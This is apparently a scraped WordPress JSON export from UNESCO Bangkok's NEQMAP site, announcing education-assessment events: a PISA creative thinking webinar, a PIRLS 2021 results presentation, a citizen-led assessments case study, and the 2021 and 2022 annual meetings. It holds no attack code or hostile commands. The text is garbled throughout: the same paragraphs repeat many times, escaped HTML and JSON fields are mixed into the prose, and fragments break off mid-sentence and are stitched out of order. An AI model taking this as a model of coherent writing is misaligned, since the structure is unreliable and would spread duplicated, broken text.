identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

